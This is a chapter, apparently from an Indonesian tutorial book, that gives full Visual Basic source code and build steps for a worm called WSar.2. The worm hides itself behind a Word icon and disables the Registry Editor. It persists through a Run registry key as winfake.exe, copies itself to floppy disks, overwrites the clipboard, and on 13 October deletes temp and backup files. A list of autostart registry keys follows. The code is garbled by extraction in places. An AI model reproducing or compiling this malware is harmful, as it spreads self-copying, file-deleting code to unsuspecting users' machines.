W
orm ini bernama WSar.2 (worm dasar 2), suatu worm yang lebih cerdas dibandingkan WSar.1, karena sudah memanfaat-kan WSH (Windows Scripting Host) untuk memanipulasi registry atau untuk mengetahui direktori spesial pada sistem operasi Windows, dan mencegah user untuk menjalankan aplikasi Registry Editor. Dengan demikian , worm ini tidak hanya mampu menulari sistem operasi Windows 9X dan ME tetapi juga akan menulari sistem operasi Windows NT, 2000 atau XP.8.1 ALGORITMA
WSar.2 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup
Bab 8. Worm WSar.2
3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan nama file "rindu.exe"
4. Dampak lain yang ditimbulkan adalah menyisipkan kata "Ohhhh... rinduuuu... dimanakah dirimu.... " setiap kali user menggunakan fungsi Paste pada aplikasi apa saja
5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda", menghapus semua file yang berekstensi tmp pada direktori Windows dan semua file yang berekstensi bak pada direktori System Windows serta seluruh file pada direk-tori temporary Windows, kemudian menghentikan segala aktifitas worm pada hari tersebut.
8.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title menjadi 'WSar.2’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK.
Kemudian tambahkan 2 buah object Timer, dan atur properti berikut untuk masing-masing Timer dan form.
Properti object Form1
Jenis Nilai Keterangan
Name frmWSar2 Mengatur nama form menjadi frmWSar2
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.2 menggunakan icon msword.ico ShowInTaskbar False Tidak menampilkan form pada taskbar Visible False Tidak menampilkan form pada layar.
Bab 8. Worm WSar.2
Properti object Timer1
Jenis Nilai Keterangan
Name tmrWSar2 Mengatur nama Timer menjadi tmrWSar2 Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan
dieksekusi setiap 1 menit
Properti object Timer2
Jenis Nilai Keterangan
Name tmrIseng Mengatur nama Timer menjadi tmrIseng Enable True Pastikan Timer akan aktif saat form di-load Interval 1000 Setiap instruksi pada procedure Timer akan
dieksekusi setiap 1 detik
Ketik kode program berikut ini pada frmWSar2:
'WSar.2 by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Private Sub Form_Load() On Error Resume Next
If App.PrevInstance = True Then End Call RegDisable()
Call InfectSystem()
If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)
End If End Sub
Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear()
Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dirimu.... ") End Sub
Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy()
If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()
Unload(Me) End If
Bab 8. Worm WSar.2
Function RegString(ByVal HiveAndKey As String, ByVal Value As String) Dim newbie As Object
newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function
Function RegDword(ByVal HiveAndKey As String, ByVal Value As Integer) Dim newbie As Object
newbie = CreateObject("Wscript.Shell")
newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function
Private Sub RegDisable() On Error Resume Next
RegDword("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _ "System\DisableRegistryTools", 1)
End Sub
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object
kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1)
FileCopy(WormFile, sysfolder & "\" & "winfake.exe")
RegString("HKLM\Software\Microsoft\Windows\CurrentVersio" & _ "n\Run\windll", sysfolder & "\" & "winfake.exe")
End Sub
Private Sub InfectFloppy() On Error Resume Next
If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If
End Sub
Private Sub PayLoad() On Error Resume Next Dim kiddie As Object
Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)
sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*")
MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub
Bab 8. Worm WSar.2 Private Function WormFile()
Dim WPath, WName As String WPath = App.Path
If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If
WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Berikut penjelasan tentang kode program: 'WSar.2 by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia Option Explicit
Private Sub Form_Load() On Error Resume Next
If App.PrevInstance = True Then End Call RegDisable()
Call InfectSystem()
If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)
End If End Sub
Call RegDisable berarti memanggil atau mengeksekusi procedure yang bernama RegDisable dan statement Call InfectSystem akan mengeksekusi procedure InfectSystem. Jika file utama berada pada drive A atau B maka segera akhiri proses file utama.
Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear()
Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dir" & _ "imu.... ")
End Sub
Statement Clipboard.Clear berfungsi untuk membersihkan data dari penyimpanan clipboard (clipboard berfungsi sebagai penyimpan sementara apabila user melakukan proses copy atau cut), kemudian statement berikutnya akan mengisi clipboard dengan data berupa teks " Ohhhh… rinduuuu… dimanakah dirimu…. " yang akan disisipkan jika user melakukan proses paste.
Bab 8. Worm WSar.2
Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy()
If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()
Unload(Me) End If End Sub
Procedure tmrWSar2_Timer, pada saat yang ditentukan akan mengek-sekusi procedure InfectFloppy, kemudian apabila tanggal dan bulan sekarang adalah 13 Oktober maka akan mengeksekusi procedure Pay-Load kemudian mengakhiri proses worm.
Function RegString(ByVal HiveAndKey As String, ByVal Value As _ String)
Dim newbie As Object
newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function
Function RegDword(ByVal HiveAndKey As String, ByVal Value As _ Integer)
Dim newbie As Object
newbie = CreateObject("Wscript.Shell")
newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function
Dua function di atas adalah penggunaan Window Script Host yang akan mengakses registry untuk menambahkan key dan value. Function RegString digunakan untuk menambahkan key dan value dengan jenis value string biasa (REG_SZ) sedangkan function RegDword digu-nakan untuk menambahkan key dan value dengan jenis value dword (REG_DWORD)
Private Sub RegDisable() On Error Resume Next
RegDword("HKCU\Software\Microsoft\Windows\Curr" & _ "entVersion\Policies\System\DisableRegistryTools", 1) End Sub
Procedure RegDisable mengeksekusi function RegDword dengan menambahkan key: "HKEY_CURRENT_USER\Soft ware\Microsoft\ Windows\CurrentVersion\Policies\System\DisableRegistryTools" dan mengisi value dengan nilai 1. Konfigurasi registry ini akan
Bab 8. Worm WSar.2 Private Sub InfectSystem()
On Error Resume Next Dim kiddie As Object Dim sysfolder As Object
kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1)
FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\Curr" & _
"entVersion\Run\windll", sysfolder & "\" & "winfake.exe") End Sub
Procedure InfectSystem memanfaatkan file system object untuk mendapatkan special folder pada Windows. Dalam hal ini special folder 1 atau direktori System Windows, kemudian membuat salinan dirinya ke direktori System Windows tersebut dengan nama "winfake.exe". Selain itu procedure juga mengeksekusi function RegString dengan menambahkan key:
"HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ Run\windll" dengan value berupa gabungan alamat file pada direk-tori System Windows dan nama file dari salinan worm tersebut yaitu "winfake.exe". Key ini merupakan salah satu lokasi registry yang akan dieksekusi saat Windows startup.
Private Sub InfectFloppy() On Error Resume Next
If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If
End Sub
Procedure diatas akan membuat salinan worm pada drive A dengan nama "rindu.exe"
Private Sub PayLoad() On Error Resume Next Dim kiddie As Object
Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)
sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*")
MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub
Bab 8. Worm WSar.2
Procedure PayLoad memanfaatkan file system object untuk mendapat-kan special folder 0 atau direktori Windows, special folder 1 atau direktori System Windows dan special folder 2 atau direktori Tempo-rary, kemudian menghapus seluruh file yang berekstensi 'tmp’ pada direktori Windows, seluruh file berekstensi 'bak’ pada direktori System Windows, dan seluruh file yang ada pada direktori Temporary. Akhirnya worm akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda". Untuk procedure WormFile telah penulis jelaskan pada WSar.1 sehingga selanjutnya tidak perlu dijelaskan lagi. Terakhir simpan dan kompilasi project seperti pada langkah-langkah yang telah dijelaskan sebelumnya.
Catatan untuk WSar.2: berikut ini adalah lokasi key registry yang akan
mengeksekusi setiap value didalamnya pada saat Windows startup: User Key / HKCU
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run-Once] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunSer-vices] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunSer-vicesOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Win-dows] System Key / HKLM [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-Once] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-Services] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run-ServicesOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT \CurrentVersion\ Winlogon\Userinit]
Bab 9. Worm WSar.3